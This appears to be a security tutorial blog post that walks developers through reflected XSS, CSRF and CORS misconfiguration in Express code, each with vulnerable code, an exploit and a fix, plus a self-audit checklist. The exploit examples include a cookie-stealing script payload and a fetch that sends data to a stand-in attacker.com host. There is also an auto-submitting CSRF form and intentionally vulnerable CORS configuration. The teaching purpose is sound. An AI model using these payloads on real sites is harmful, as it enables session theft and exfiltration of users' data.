I’ve been reviewing web code for 12 years. The same three vulnerabilities show up every single time — in startups, in Fortune 500 codebases, in side projects, in apps with security teams. You already know the acronyms: XSS, CSRF, CORS. The question is whether you can spot them in your own code.
This isn’t a textbook. It’s a code review. Three real patterns, the vulnerable code you’ve probably already shipped, and the 3-line fix for each. By the end you’ll know exactly what to grep your codebase for. XSS, CSRF, and CORS — the three web security bugs that quietly ride along with almost every codebase, including yours.
Quick clarification before we start: CORS is not an attack
This trips up almost every developer I review with, so let’s get it out of the way.
XSS and CSRF are attacks. CORS is a browser defense mechanism that gets misconfigured. When you see “CORS vulnerability” in the wild, what someone actually means is “a server configured CORS so loosely that it broke the defense.”
The 45-second version: XSS injects malicious scripts into your page. CSRF tricks your users into making requests they didn’t intend. CORS is a browser security mechanism that, when misconfigured, lets other sites read your API. They often chain together in real attacks.
We’ll take each one in turn — vulnerable code, exploit, fix — and then I’ll show you how they combine. Buckle up.
Attack #1: Reflected XSS in your search bar
Every search bar starts the same way. User types something, server renders it back in the page so the UI can show “Results for: whatever”. Here’s the version I see in code reviews constantly:
// Express + template strings. Looks innocent.
app.get('/search', (req, res) => {
const q = req.query.q;
res.send(`<h1>Results for: ${q}</h1>` + renderResults(q));
});
The exploit fits in a URL. An attacker sends a victim this link in an email or pastes it into a forum:
https://yourapp.com/search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
The victim clicks. Their browser loads your page. Your server interpolates the script tag straight into the HTML. The script runs in your origin, grabs the session cookie (or localStorage token — see where you store your auth tokens for the full tradeoff), and ships it off. Game over for that user.
The fix is three lines — use a real templating engine (EJS, Pug, anything modern) or escape on output:
const escape = require('escape-html');
app.get('/search', (req, res) => {
const q = escape(req.query.q);
res.send(`<h1>Results for: ${q}</h1>` + renderResults(req.query.q));
});
Framework reality check. React’s JSX escapes by default — <h1>Results for: {q}</h1> is safe. But dangerouslySetInnerHTML bypasses it. So does any direct DOM manipulation with innerHTML. Vue’s v-html, Svelte’s {@html}, Angular’s bypassSecurityTrustHtml — same story. The escape hatch is named what it is for a reason.
The DOM XSS that slips past React most often: el.innerHTML = userInput. The fix is el.textContent = userInput. One character difference, complete behavior change.
Self-audit grep for your codebase right now:
grep -rn 'innerHTML\|dangerouslySetInnerHTML\|v-html\|@html' src/
Every result needs you to look at it and confirm the input is trusted. Many of them won’t be.
That’s the attack that hits your page. But there’s a whole class of attack that never touches your page at all — it just rides on the trust your browser already gives you.
Attack #2: CSRF via a hidden form on someone else’s site
Here’s a state-changing endpoint that looks fine in isolation:
app.post('/api/email/change', requireAuth, (req, res) => {
updateEmail(req.user.id, req.body.email);
res.json({ ok: true });
});
It checks auth. It validates session. What could go wrong?
The attacker hosts a page on attacker.com with this hidden form:
<form action="https://yourapp.com/api/email/change" method="POST" id="f">
<input name="email" value="[email protected]">
</form>
<script>document.getElementById('f').submit();</script>
A logged-in user visits attacker.com for any reason — clickbait link, malicious ad, compromised forum. The form auto-submits. Their browser sends the session cookie along with the request because that’s what browsers do for any request to your domain. Your server sees a valid session, updates the email. The attacker now controls the password reset flow.
“But modern browsers default to SameSite=Lax — doesn’t that fix this?” Mostly, yes. Chrome 80+ blocks cross-site POSTs without an explicit SameSite=None; Secure opt-in. But two things still kill you: state-changing GET endpoints (yes, you have some), and any app that set SameSite=None to support a third-party iframe and forgot to add CSRF tokens.
The 3-line fix is double-defense: lock down cookies, verify with a token.
app.use(session({ cookie: { sameSite: 'strict', httpOnly: true, secure: true } }));
app.use(csurf()); // or your hand-rolled equivalent
// In your form/fetch: include req.csrfToken() as a hidden field or header.
Framework reality check. Django and Rails ship CSRF protection on by default. SvelteKit blocks cross-origin form posts on by default. Next.js Server Actions and Remix include CSRF protection in their form primitives. Express does not. FastAPI does not. Bare Fastify does not. If you wired up your own backend, you wired up CSRF too — or you didn’t, and you have homework. Most of the backend choices people debate don’t matter for this; the framework’s CSRF defaults do.
Self-audit: list every POST/PUT/DELETE/PATCH endpoint that mutates state. Each one must either verify a CSRF token, check the Origin header against an allowlist, or be reachable only via SameSite-protected cookies. Anything else is a candidate.
So your framework might cover CSRF. It definitely doesn’t cover this last one — CORS is server-side config, and frameworks can’t read your mind.
Attack #3: CORS misconfig that opens your API to the entire internet
This is the one I find most often, and it’s almost always introduced by someone trying to “just make CORS work in dev.” Here’s the pattern:
// Looks helpful. Is a back door.
app.use(cors({
origin: (origin, cb) => cb(null, true), // or: origin: true
credentials: true
}));
That origin: true is the killer. It reflects whatever Origin header the browser sent back as Access-Control-Allow-Origin. Combined with credentials: true, it tells the browser: “Yes, this origin can read responses from me, with cookies, no questions asked.”
The exploit: attacker hosts a page at attacker.com with this script:
fetch('https://yourapp.com/api/me', { credentials: 'include' })
.then(r => r.json())
.then(data => fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(data) }));
A logged-in user visits the page. Their browser sends the request to your API with their session cookie. Your server reflects attacker.com as the allowed origin. The browser, satisfied, hands the response — including any PII, account info, or tokens — to the attacker’s script. They POST it home.
Why this pattern is everywhere. Browsers explicitly forbid Access-Control-Allow-Origin: * together with credentials: true. So when a developer hits a CORS console error during development, they reach for the workaround — reflect the origin. That workaround is the vulnerability. The spec blocked the wildcard for a reason; reflecting the header dynamically defeats the same protection.
The fix is three lines and an allowlist:
const ALLOWED = ['https://yourapp.com', 'https://admin.yourapp.com'];
app.use(cors({
origin: (origin, cb) => cb(null, ALLOWED.includes(origin)),
credentials: true
}));
If the origin isn’t on the list, the middleware doesn’t set the header at all — and the browser refuses to share the response. No allowlist match, no leak.
Framework reality check. Every backend has a sensible CORS middleware: cors for Express, CORSMiddleware for FastAPI, django-cors-headers for Django. Every single one ships with safe defaults. The vulnerability is always introduced by a human reaching for the escape hatch.
Self-audit grep:
grep -rn 'origin: true\|Access-Control-Allow-Origin' .
Anywhere you echo the Origin header back, anywhere you set * next to credentialed requests, anywhere origin: true shows up — those are bugs.
I said at the top these three chain together. Let me show you what that actually looks like in a real attack — because the punchline is uglier than any one of them alone.
How they chain: CORS misconfig → XSS → CSRF in a single attack
Imagine a SaaS dashboard with a stored XSS in a comment field, a CORS misconfig on the internal admin API, and CSRF-unprotected POST endpoints. None of these is fictional — I’ve seen each one in production this year.
- Attacker plants
<script src="https://attacker.com/p.js"></script>in a public-facing comment. (Stored XSS — same root cause as our search bar example, different surface.) - Admin views the comment while logged in. The script executes in the admin’s session.
- The script abuses the CORS misconfig —
fetch('/api/users', { credentials: 'include' })— and exfiltrates the entire user list to the attacker because the API reflects origins. - The script abuses the missing CSRF protection —
POST /api/users/:id/rolewithbody: { role: 'admin' }— to promote the attacker’s own account. - The attacker logs in directly as admin. No more script needed. Full takeover.
Each bug, alone, is bad. Together, they’re catastrophic. The honest part: fixing any one of the three breaks the chain. Patch the XSS and the script never runs. Patch the CORS misconfig and the exfiltration fails. Patch the CSRF gap and the privilege escalation fails. That’s why you fix all three — defense in depth isn’t a buzzword, it’s the reason an attacker who finds one bug doesn’t immediately own you.
You’ve now got the three patterns and the chain. The only thing left is what to do in the next five minutes.
Your 5-minute self-audit
Run these checks on whatever you’re shipping right now.
grep -rn 'innerHTML\|dangerouslySetInnerHTML\|v-html\|@html' src/— every result needs to be confirmed safe. If user input ever reaches one of these without escaping, you have XSS.- Check your session cookie config. Open it. Is
SameSiteset toStrictorLax? IsHttpOnlyset? IsSecureset? If any answer is no — fix it. - List every state-changing endpoint (POST/PUT/DELETE/PATCH). Each one must verify a CSRF token, check the
Originheader against an allowlist, or rely on SameSite-locked cookies. If you can’t say which, that’s the bug. - Search for
origin: trueor anything that echoes the request’sOriginheader back asAccess-Control-Allow-Origin. Replace with an explicit allowlist. No exceptions for “just dev.” - Add a Content-Security-Policy header with at minimum
default-src 'self'; script-src 'self'. This kills most reflected XSS even when you miss one — it’s the cheapest insurance policy in web security. The full version belongs in your security headers config.
If you can’t answer yes to all five, you have homework.
The bottom line
I said at the top you’ve probably shipped one of these. After 1500 words of code review, you actually know whether you have. That’s the difference between a textbook and a checklist.
Here’s the honest senior-dev take: frameworks help with XSS, mostly. They help with CSRF, sometimes. They don’t help with CORS at all — that’s purely on you. And every framework’s protection breaks the moment you reach for the escape hatch — dangerouslySetInnerHTML, origin: true, SameSite=None. The vulnerabilities don’t come from the framework. They come from the workaround.
The one habit that catches almost all of this: review the security-sensitive lines specifically. Grep for the patterns above. Add the audit checklist to your PR template alongside the rest of your code review checks. When someone reaches for origin: true in a PR, the reviewer’s job is to ask: “what allowlist are we missing?”
Run the 5-minute audit on your current project before you close this tab. The XSS, CSRF, and CORS bugs you find today are the breaches you don’t write a post-mortem for next quarter.